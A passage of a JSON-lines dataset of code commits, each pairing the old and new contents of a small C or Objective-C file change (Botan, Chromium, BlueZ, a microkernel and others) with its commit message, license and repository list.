<botan\/sha160.h>\n\nnamespace Botan {\n\n\/*\n* SHA-160\n*\/\nclass BOTAN_DLL SHA_160_SSE2 : public SHA_160\n   {\n   public:\n      HashFunction* clone() const { return new SHA_160_SSE2; }\n      SHA_160_SSE2() : SHA_160(0) {} \/\/ no W needed\n   private:\n      void compress_n(const byte[], u32bit blocks);\n   };\n\n}\n\n#endif\n","subject":"Remove extern decl of no longer used\/included SHA-1 SSE2 function","message":"Remove extern decl of no longer used\/included SHA-1 SSE2 function\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,randombit\/botan,randombit\/botan,webmaster128\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,randombit\/botan"}
{"commit":"a3cb2d67b7d2743524d3ba2c23270d5fc288d6db","old_file":"src\/kbase\/stack_walker.h","new_file":"src\/kbase\/stack_walker.h","old_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KBASE_STACK_WALKER_H_\n#define KBASE_STACK_WALKER_H_\n\n#include <array>\n\n#include \"kbase\/basic_macros.h\"\n\n#if defined(OS_WIN)\nstruct _CONTEXT;\nusing CONTEXT = _CONTEXT;\n#endif\n\nnamespace kbase {\n\nclass StackWalker {\npublic:\n    StackWalker() noexcept;\n\n#if defined(OS_WIN)\n    \/\/ Dumps a callstack for an exception case.\n    explicit StackWalker(CONTEXT* context);\n#endif\n\n    ~StackWalker() = default;\n\n    DEFAULT_COPY(StackWalker);\n\n    DEFAULT_MOVE(StackWalker);\n\n    void DumpCallStack(std::ostream& stream);\n\n    std::string CallStackToString();\n\nprivate:\n    static constexpr size_t kMaxStackFrames = 64U;\n    std::array<void*, kMaxStackFrames> stack_frames_ { nullptr };\n    size_t valid_frame_count_ = 0;\n};\n\n}   \/\/ namespace kbase\n\n#endif  \/\/ KBASE_STACK_WALKER_H_\n","new_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KBASE_STACK_WALKER_H_\n#define KBASE_STACK_WALKER_H_\n\n#include <array>\n\n#include \"kbase\/basic_macros.h\"\n\n#if defined(OS_WIN)\nstruct _CONTEXT;\nusing CONTEXT = _CONTEXT;\n#endif\n\nnamespace kbase {\n\nclass StackWalker {\npublic:\n    StackWalker() noexcept;\n\n#if defined(OS_WIN)\n    \/\/ Dumps a callstack for an exception case.\n    explicit StackWalker(CONTEXT* context);\n#endif\n\n    ~StackWalker() = default;\n\n    DEFAULT_COPY(StackWalker);\n\n    DEFAULT_MOVE(StackWalker);\n\n    void DumpCallStack(std::ostream& stream);\n\n    std::string CallStackToString();\n\nprivate:\n    static constexpr size_t kMaxStackFrames = 64U;\n    std::array<void*, kMaxStackFrames> stack_frames_ {{nullptr}};\n    size_t valid_frame_count_ = 0;\n};\n\n}   \/\/ namespace kbase\n\n#endif  \/\/ KBASE_STACK_WALKER_H_\n","subject":"Fix missing braces warning for initialization of subobjects","message":"Fix missing braces warning for initialization of subobjects\n\nThis warning should be a compiler bug, however, we still decide to follow\nthe suggestion.\n\nInterestingly, this braces enforcement on GCC 5.4 will show up as an error\nbut have gone away on newer versions.\n","lang":"C","license":"mit","repos":"kingsamchen\/KBase,kingsamchen\/KBase_Demo,kingsamchen\/KBase_Demo,kingsamchen\/KBase"}
{"commit":"6937c69638ec3f672da9f8831f52b6504e21b241","old_file":"Pod\/UIKit\/BonMot+UIKit.h","new_file":"Pod\/UIKit\/BonMot+UIKit.h","old_contents":"\/\/\n\/\/  BonMot+UIKit.h\n\/\/  Pods\n\/\/\n\/\/  Created by Nora Trapp on 3\/10\/16.\n\/\/\n\/\/\n\n#import \"BONTextAlignmentConstraint.h\"\n#import \"UILabel+BonMotUtilities.h\"\n#import \"UITextField+BonMotUtilities.h\"\n#import \"UITextView+BonMotUtilities.h\"\n","new_contents":"\/\/\n\/\/  BonMot+UIKit.h\n\/\/  BonMot\n\/\/\n\/\/  Created by Nora Trapp on 3\/10\/16.\n\/\/\n\/\/\n\n#import \"BONTextAlignmentConstraint.h\"\n#import \"UILabel+BonMotUtilities.h\"\n#import \"UITextField+BonMotUtilities.h\"\n#import \"UITextView+BonMotUtilities.h\"\n","subject":"Change Pods to BonMot in header.","message":"Change Pods to BonMot in header.\n","lang":"C","license":"mit","repos":"Raizlabs\/BonMot,Raizlabs\/BonMot,Raizlabs\/BonMot"}
{"commit":"199ea23d6bf72ff078f8fac93ad3a926ba37c3e7","old_file":"bitboard.h","new_file":"bitboard.h","old_contents":"","new_contents":"\/\/ for all of these conversions, 0 <= row,col < 8\nstatic inline uint8_t bb_index_of(uint8_t row, uint8_t col)\n{\n\treturn row + (col << 3);\n}\n\nstatic inline uint8_t bb_row_of(uint8_t index)\n{\n\treturn index % 8;\n}\n\nstatic inline uint8_t bb_col_of(uint8_t index)\n{\n\treturn (uint8_t)(index \/ 8);\n}\n","subject":"Convert 0-63 indicies <-> (row,col)","message":"Convert 0-63 indicies <-> (row,col)\n","lang":"C","license":"bsd-3-clause","repos":"jwatzman\/nameless-chessbot,jwatzman\/nameless-chessbot"}
{"commit":"6cbbeab123ef8f665e382ba1970c2efc31acf285","old_file":"ObjScheme\/ObSFileLoader.h","new_file":"ObjScheme\/ObSFileLoader.h","old_contents":"\/\/\n\/\/ ObSFileLoader.h\n\/\/ GameChanger\n\/\/\n\/\/ Created by Kiril Savino on Tuesday, April 16, 2013\n\/\/ Copyright 2013 GameChanger. All rights reserved.\n\/\/\n\n@class ObSInPort;\n\n\n@protocol ObSFileLoader <NSObject>\n- (ObSInPort*)findFile:(NSString*)filename;\n- (NSString*)qualifyFileName:(NSString*)filename;\n@end\n\n\n\n@interface ObSBundleFileLoader : NSObject <ObSFileLoader>\n\n@property (nonatomic, strong) NSBundle *bundle;\n\n- (instancetype)initWithBundle:(NSBundle *)bundle;\n\n@end\n\n\n\n@interface ObSFilesystemFileLoader : NSObject <ObSFileLoader> {\n  NSString* _directoryPath;\n}\n+ (ObSFilesystemFileLoader*)loaderForPath:(NSString*)path;\n@end\n","new_contents":"\/\/\n\/\/ ObSFileLoader.h\n\/\/ GameChanger\n\/\/\n\/\/ Created by Kiril Savino on Tuesday, April 16, 2013\n\/\/ Copyright 2013 GameChanger. All rights reserved.\n\/\/\n\n@class ObSInPort;\n\n\n@protocol ObSFileLoader <NSObject>\n- (ObSInPort*)findFile:(NSString*)filename;\n- (NSString*)qualifyFileName:(NSString*)filename;\n@end\n\n\n\n@interface ObSBundleFileLoader : NSObject <ObSFileLoader>\n\n@property (nonatomic, strong, readonly) NSBundle *bundle;\n\n- (instancetype)initWithBundle:(NSBundle *)bundle;\n\n@end\n\n\n\n@interface ObSFilesystemFileLoader : NSObject <ObSFileLoader> {\n  NSString* _directoryPath;\n}\n+ (ObSFilesystemFileLoader*)loaderForPath:(NSString*)path;\n@end\n","subject":"Make bundle property read only","message":"Make bundle property read only\n","lang":"C","license":"mit","repos":"gamechanger\/objscheme,gamechanger\/objscheme,gamechanger\/objscheme"}
{"commit":"fe631c01f9007d2ba728ff70bd0b75c78da1a94e","old_file":"R2BotNUC\/include\/Config.h","new_file":"R2BotNUC\/include\/Config.h","old_contents":"#ifndef _R2BOT_CONFIG\n#define _R2BOT_CONFIG\n\n#define _WINSOCK_DEPRECATED_NO_WARNINGS\n\n#define DEBUG_PRINTS\n\n#define DEVICE_NAME \"NUC\"\n#undef  USE_KINECT1\n#undef  USE_KINECT2\n#undef  USE_MOTORS\n#undef  USE_ULTRASONIC\n#define USE_R2SERVER\n\n#endif","new_contents":"#ifndef _R2BOT_CONFIG\n#define _R2BOT_CONFIG\n\n#define NOMINMAX\n#define _WINSOCK_DEPRECATED_NO_WARNINGS\n\n#define DEBUG_PRINTS\n\n#define DEVICE_NAME \"NUC\"\n#undef  USE_KINECT1\n#undef  USE_KINECT2\n#undef  USE_MOTORS\n#undef  USE_ULTRASONIC\n#define USE_R2SERVER\n\n#endif","subject":"Add NOMINMAX before including Windows.h","message":"Add NOMINMAX before including Windows.h\n","lang":"C","license":"mit","repos":"cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2,cornell-cup\/cs-r2bot2"}
{"commit":"38a6eaba900ca78de01e16f5fe4a95b3962eb701","old_file":"flowertest.c","new_file":"flowertest.c","old_contents":"","new_contents":"int pin_r = 9;\nint pin_g = 10;\nint pin_b = 11;\n\nint brightness = 0;\nint increment = 1;\n\nvoid setup() {\n  pinMode(pin_r, OUTPUT);\n  pinMode(pin_g, OUTPUT);\n  pinMode(pin_b, OUTPUT);\n  \/* Serial.begin(9600); *\/\n}\n\nvoid loop() {\n  brightness = brightness + increment;\n\n  if (brightness <= 0 || brightness >= 128) {\n    increment = -increment;\n  }\n\n  analogWrite(pin_r, brightness\/2);\n  analogWrite(pin_g, brightness);\n  analogWrite(pin_b, 128);\n\n  delay(20);\n}\n","subject":"Add an initial test script for the flowers.","message":"Add an initial test script for the flowers.\n","lang":"C","license":"artistic-2.0","repos":"alloy-d\/blinkenflowers"}
{"commit":"408a046f7f7050f5a5ec3ecad36108f15767ab0b","old_file":"trunk\/src\/daemon\/serversock.h","new_file":"trunk\/src\/daemon\/serversock.h","old_contents":"","new_contents":"\/**\n *  tapcfg - A cross-platform configuration utility for TAP driver\n *  Copyright (C) 2008  Juho Vähä-Herttua\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\/\n\n#ifndef SERVERSOCK_H\n#define SERVERSOCK_H\n\n#include \"tapcfg.h\"\n\ntypedef struct serversock_s serversock_t;\n\nserversock_t *serversock_tcp(unsigned short *local_port, int use_ipv6, int public);\nint serversock_get_fd(serversock_t *server);\nint serversock_accept(serversock_t *server);\nvoid serversock_destroy(serversock_t *server);\n\n#endif\n","subject":"Add missing header from last commit","message":"Add missing header from last commit\n\ngit-svn-id: 8d82213adbbc6b1538a984bace977d31fcb31691@157 2f5d681c-ba19-11dd-a503-ed2d4bea8bb5\n","lang":"C","license":"lgpl-2.1","repos":"shutej\/tapcfg,shutej\/tapcfg,shutej\/tapcfg,shutej\/tapcfg,shutej\/tapcfg,shutej\/tapcfg,shutej\/tapcfg"}
{"commit":"e6a607f87407a5bd4e55091960c5ba0e850cb43e","old_file":"ouzel\/CompileConfig.h","new_file":"ouzel\/CompileConfig.h","old_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#if defined(_WIN32) || defined(_WIN64) || defined(WIN32) || defined(WIN64)\n    #define OUZEL_PLATFORM_WINDOWS 1\n    #define OUZEL_SUPPORTS_DIRECT3D11 1\n#elif defined(__APPLE__)\n    #include <TargetConditionals.h>\n    #if TARGET_OS_IOS\n        #define OUZEL_PLATFORM_IOS 1\n        #define OUZEL_SUPPORTS_OPENGLES 1\n        #define OUZEL_SUPPORTS_METAL 1\n    #elif TARGET_OS_TV\n        #define OUZEL_PLATFORM_TVOS 1\n        #define OUZEL_SUPPORTS_OPENGLES 1\n        #define OUZEL_SUPPORTS_METAL 1\n    #elif TARGET_OS_MAC\n        #define OUZEL_PLATFORM_OSX 1\n        #define OUZEL_SUPPORTS_OPENGL 1\n        #define OUZEL_SUPPORTS_METAL 1\n    #endif\n#elif defined(__ANDROID__)\n    #define OUZEL_PLATFORM_ANDROID 1\n    #define OUZEL_SUPPORTS_OPENGLES 1\n#elif defined(__linux__)\n    #define OUZEL_PLATFORM_LINUX 1\n    #define OUZEL_SUPPORTS_OPENGL 1\n#endif\n","new_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#if defined(_WIN32) || defined(_WIN64) || defined(WIN32) || defined(WIN64)\n    #define OUZEL_PLATFORM_WINDOWS 1\n    #define OUZEL_SUPPORTS_DIRECT3D11 1\n#elif defined(__APPLE__)\n    #include <TargetConditionals.h>\n    #if TARGET_OS_IOS\n        #define OUZEL_PLATFORM_IOS 1\n        #define OUZEL_SUPPORTS_OPENGLES 1\n        #define OUZEL_SUPPORTS_METAL 1\n    #elif TARGET_OS_TV\n        #define OUZEL_PLATFORM_TVOS 1\n        #define OUZEL_SUPPORTS_OPENGLES 1\n        #define OUZEL_SUPPORTS_METAL 1\n    #elif TARGET_OS_MAC\n        #define OUZEL_PLATFORM_OSX 1\n        #define OUZEL_SUPPORTS_OPENGL 1\n        #define OUZEL_SUPPORTS_METAL 1\n    #endif\n#elif defined(__ANDROID__)\n    #define OUZEL_PLATFORM_ANDROID 1\n    #define OUZEL_SUPPORTS_OPENGLES 1\n#elif defined(__linux__)\n    #define OUZEL_PLATFORM_LINUX 1\n    #if defined(__i386__) || defined(__x86_64__)\n        #define OUZEL_SUPPORTS_OPENGL 1\n    #else defined(__arm__) || defined(__aarch64__)\n        #define OUZEL_SUPPORTS_OPENGLES 1\n    #endif\n#endif\n","subject":"Define OpenGLES support for ARM","message":"Define OpenGLES support for ARM\n","lang":"C","license":"unlicense","repos":"Hotspotmar\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,Hotspotmar\/ouzel,elnormous\/ouzel,elvman\/ouzel,elnormous\/ouzel,elvman\/ouzel"}
{"commit":"495e4006bb7a95d59ea613ab577897749a75d8ca","old_file":"LinkedList\/insert_node_at_head.c","new_file":"LinkedList\/insert_node_at_head.c","old_contents":"","new_contents":"\/*\nInput Format \nYou have to complete the Node* Insert(Node* head, int data) method which takes two arguments - the head of the linked list and the integer to insert. You should NOT read any input from stdin\/console.\n\nOutput Format \nInsert the new node at the head and return the head of the updated linked list. Do NOT print anything to stdout\/console.\n\nSample Input\n\nNULL , data = 1 \n1 --> NULL , data = 2\n\nSample Output\n\n1 --> NULL\n2 --> 1 --> NULL\nExplanation \n1. We have an empty list, on inserting 1, 1 becomes new head. \n2. We have a list with 1 as head, on inserting 2, 2 becomes the new head.\n*\/\n\n\/*\n  Insert Node at the begining of a linked list\n  Initially head pointer argument could be NULL for empty list\n  Node is defined as \n  struct Node\n  {\n     int data;\n     struct Node *next;\n  }\nreturn back the pointer to the head of the linked list in the below method.\n*\/\nNode* Insert(Node *head,int data)\n{\n    Node* temp;\n    temp = (Node*)malloc(sizeof(Node));\n    temp->data = data;\n    temp->next = head;\n    head = temp;\n    return head;\n}\n","subject":"Add insert node at head fn","message":"Add insert node at head fn\n","lang":"C","license":"mit","repos":"anaghajoshi\/HackerRank"}
{"commit":"1071e256aff979a58d74bbf3127e3b8a771fee1b","old_file":"tests\/regression\/61-evalAssert\/01-union_evalAssert.c","new_file":"tests\/regression\/61-evalAssert\/01-union_evalAssert.c","old_contents":"\/\/ PARAM: --set trans.activated[+] \"assert\"\n\n\/\/ Running the assert transformation on this test yields in code that is not compilable by gcc\nstruct s {\n    int a;\n    int b;\n};\n\nunion u {\n    struct s str;\n    int i;\n};\n\n\nint main(){\n    union u un;\n\n    struct s* ptr;\n\n    un.str.a = 1;\n    un.str.b = 2;\n\n    ptr = &un.str;\n    int r;\n    int x;\n    if(r){\n        x = 2;\n    } else {\n        x = 3;\n    }\n\n    return 0;\n}\n","new_contents":"\/\/ PARAM: --set trans.activated[+] \"assert\"\n\n\/\/ Running the assert transformation on this test used to yield code that cannot be compiled with gcc, due to superfluous offsets on a pointer\nstruct s {\n    int a;\n    int b;\n};\n\nunion u {\n    struct s str;\n    int i;\n};\n\n\nint main(){\n    union u un;\n\n    struct s* ptr;\n\n    un.str.a = 1;\n    un.str.b = 2;\n\n    ptr = &un.str;\n    int r;\n    int x;\n    if(r){\n        x = 2;\n    } else {\n        x = 3;\n    }\n\n    return 0;\n}\n","subject":"Update comment in test case.","message":"Update comment in test case.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"49f067bef623a6fecda0cef6e36e3ffdaeb93c0b","old_file":"src\/cmd_set_node_addr.c","new_file":"src\/cmd_set_node_addr.c","old_contents":"#ifdef __USE_CMSIS\n#include \"LPC8xx.h\"\n#endif\n\n#include <cr_section_macros.h>\n\n#include <string.h>\n\n#include \"parse_util.h\"\n#include \"cmd.h\"\n#include \"err.h\"\n#include \"frame_buffer.h\"\n\n\/**\n * Set node address\n * Args: <node-addr>\n *\/\nextern frame_buffer_type tx_buffer;\nint cmd_set_node_addr (int argc, uint8_t **argv) {\n\n\tif (argc != 2) {\n\t\treturn E_WRONG_ARGC;\n\t}\n\ttx_buffer.header.from_addr=parse_hex(argv[1]);\n\treturn E_OK;\n}\n","new_contents":"#ifdef __USE_CMSIS\n#include \"LPC8xx.h\"\n#endif\n\n#include <cr_section_macros.h>\n\n#include <string.h>\n\n#include \"parse_util.h\"\n#include \"cmd.h\"\n#include \"err.h\"\n#include \"frame_buffer.h\"\n\n\/**\n * Set node address\n * Args: <node-addr>\n *\/\nextern frame_buffer_type tx_buffer;\nint cmd_set_node_addr (int argc, uint8_t **argv) {\n\n\tif (argc == 1) {\n\t\tMyUARTSendStringZ(\"n \");\n\t\tMyUARTPrintHex(tx_buffer.header.from_addr);\n\t\tMyUARTSendCRLF();\n\t\treturn;\n\t}\n\tif (argc != 2) {\n\t\treturn E_WRONG_ARGC;\n\t}\n\ttx_buffer.header.from_addr=parse_hex(argv[1]);\n\treturn E_OK;\n}\n","subject":"Allow for node address query by using 'N' command without parameters","message":"Allow for node address query by using 'N' command without parameters\n","lang":"C","license":"mit","repos":"jdesbonnet\/RFM69_LPC812_firmware,jdesbonnet\/RFM69_LPC812_firmware,jdesbonnet\/RFM69_LPC812_firmware,jdesbonnet\/RFM69_LPC812_firmware,jdesbonnet\/RFM69_LPC812_firmware,jdesbonnet\/RFM69_LPC812_firmware"}
{"commit":"4aff13e22152f661ed17221ad6e99486684af761","old_file":"ui\/base\/ime\/text_input_flags.h","new_file":"ui\/base\/ime\/text_input_flags.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_BASE_IME_TEXT_INPUT_FLAGS_H_\n#define UI_BASE_IME_TEXT_INPUT_FLAGS_H_\n\nnamespace ui {\n\n\/\/ Intentionally keep in sync with blink::WebTextInputFlags defined in:\n\/\/ third_party\/WebKit\/public\/web\/WebTextInputType.h\nenum TextInputFlags {\n  TEXT_INPUT_FLAG_NONE = 0,\n  TEXT_INPUT_FLAG_AUTOCOMPLETE_ON = 1 << 0,\n  TEXT_INPUT_FLAG_AUTOCOMPLETE_OFF = 1 << 1,\n  TEXT_INPUT_FLAG_AUTOCORRECT_ON = 1 << 2,\n  TEXT_INPUT_FLAG_AUTOCORRECT_OFF = 1 << 3,\n  TEXT_INPUT_FLAG_SPELLCHECK_ON = 1 << 4,\n  TEXT_INPUT_FLAG_SPELLCHECK_OFF = 1 << 5\n};\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_BASE_IME_TEXT_INPUT_FLAGS_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_BASE_IME_TEXT_INPUT_FLAGS_H_\n#define UI_BASE_IME_TEXT_INPUT_FLAGS_H_\n\nnamespace ui {\n\n\/\/ Intentionally keep in sync with blink::WebTextInputFlags defined in:\n\/\/ third_party\/WebKit\/public\/web\/WebTextInputType.h\nenum TextInputFlags {\n  TEXT_INPUT_FLAG_NONE = 0,\n  TEXT_INPUT_FLAG_AUTOCOMPLETE_ON = 1 << 0,\n  TEXT_INPUT_FLAG_AUTOCOMPLETE_OFF = 1 << 1,\n  TEXT_INPUT_FLAG_AUTOCORRECT_ON = 1 << 2,\n  TEXT_INPUT_FLAG_AUTOCORRECT_OFF = 1 << 3,\n  TEXT_INPUT_FLAG_SPELLCHECK_ON = 1 << 4,\n  TEXT_INPUT_FLAG_SPELLCHECK_OFF = 1 << 5,\n  TEXT_INPUT_FLAG_AUTOCAPITALIZE_NONE = 1 << 6,\n  TEXT_INPUT_FLAG_AUTOCAPITALIZE_CHARACTERS = 1 << 7,\n  TEXT_INPUT_FLAG_AUTOCAPITALIZE_WORDS = 1 << 8,\n  TEXT_INPUT_FLAG_AUTOCAPITALIZE_SENTENCES = 1 << 9\n};\n\n}  \/\/ namespace ui\n\n#endif  \/\/ UI_BASE_IME_TEXT_INPUT_FLAGS_H_\n","subject":"Update TextInputFlags to include autocapitalize values.","message":"Update TextInputFlags to include autocapitalize values.\n\nThis is following the update of WebTextInputType.h update from\nhttps:\/\/codereview.chromium.org\/995363002\n\nBUG=466930\n\nReview URL: https:\/\/codereview.chromium.org\/1024833002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#321736}\n","lang":"C","license":"bsd-3-clause","repos":"Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,ltilve\/chromium,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk"}
{"commit":"3746bd7dbc57539753aab66813e57207d6fd2c3d","old_file":"kernel\/svc.c","new_file":"kernel\/svc.c","old_contents":"\/\/ The Mordax Microkernel\n\/\/ (c) Kristian Klomsten Skordal 2013 <kristian.skordal@gmail.com>\n\/\/ Report bugs and issues on <http:\/\/github.com\/skordal\/mordax\/issues>\n\n#include \"context.h\"\n#include \"debug.h\"\n#include \"svc.h\"\n\n\/\/ Supervisor call (software interrupt) handler, called by target assembly\n\/\/ code:\nvoid svc_interrupt_handler(struct thread_context * context, uint8_t svc)\n{\n\tdebug_printf(\"Supervisor call: %d, context at %p\\n\", svc, context);\n\tdebug_printf(\"\\tArgument 1: %x\\n\", context_get_svc_argument(context, 0));\n\tdebug_prinff(\"\\tArgument 2: %x\\n\", context_get_svc_argument(context, 1));\n\tdebug_printf(\"\\tArgument 3: %x\\n\", context_get_svc_argument(context, 2));\n\tdebug_printf(\"\\tReturning 0...\\n\");\n\tcontext_set_svc_retval(context, 0);\n}\n\n","new_contents":"\/\/ The Mordax Microkernel\n\/\/ (c) Kristian Klomsten Skordal 2013 <kristian.skordal@gmail.com>\n\/\/ Report bugs and issues on <http:\/\/github.com\/skordal\/mordax\/issues>\n\n#include \"context.h\"\n#include \"debug.h\"\n#include \"svc.h\"\n\n\/\/ Supervisor call (software interrupt) handler, called by target assembly\n\/\/ code:\nvoid svc_interrupt_handler(struct thread_context * context, uint8_t svc)\n{\n\tdebug_printf(\"Supervisor call: %d, context at %p\\n\", svc, context);\n\tdebug_printf(\"\\tArgument 1: %x\\n\", context_get_svc_argument(context, 0));\n\tdebug_printf(\"\\tArgument 2: %x\\n\", context_get_svc_argument(context, 1));\n\tdebug_printf(\"\\tArgument 3: %x\\n\", context_get_svc_argument(context, 2));\n\tdebug_printf(\"\\tReturning 0...\\n\");\n\tcontext_set_svc_retval(context, 0);\n}\n\n","subject":"Fix spelling error in the SVC handler","message":"Fix spelling error in the SVC handler\n","lang":"C","license":"bsd-3-clause","repos":"skordal\/mordax"}
{"commit":"3c07d1c7fbc93cd413628926a0b57e205b943a6f","old_file":"profiles\/audio\/control.h","new_file":"profiles\/audio\/control.h","old_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2006-2010  Nokia Corporation\n *  Copyright (C) 2004-2010  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#define AUDIO_CONTROL_INTERFACE \"org.bluez.Control1\"\n\nstruct control *control_init(struct audio_device *dev, GSList *uuids);\nvoid control_update(struct control *control, GSList *uuids);\nvoid control_unregister(struct audio_device *dev);\ngboolean control_is_active(struct audio_device *dev);\n\nint control_connect(struct audio_device *dev);\nint control_disconnect(struct audio_device *dev);\n","new_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2006-2010  Nokia Corporation\n *  Copyright (C) 2004-2010  Marcel Holtmann <marcel@holtmann.org>\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#define AUDIO_CONTROL_INTERFACE \"org.bluez.MediaControl1\"\n\nstruct control *control_init(struct audio_device *dev, GSList *uuids);\nvoid control_update(struct control *control, GSList *uuids);\nvoid control_unregister(struct audio_device *dev);\ngboolean control_is_active(struct audio_device *dev);\n\nint control_connect(struct audio_device *dev);\nint control_disconnect(struct audio_device *dev);\n","subject":"Change to org.bluez.MediaControl1 as interface name","message":"audio: Change to org.bluez.MediaControl1 as interface 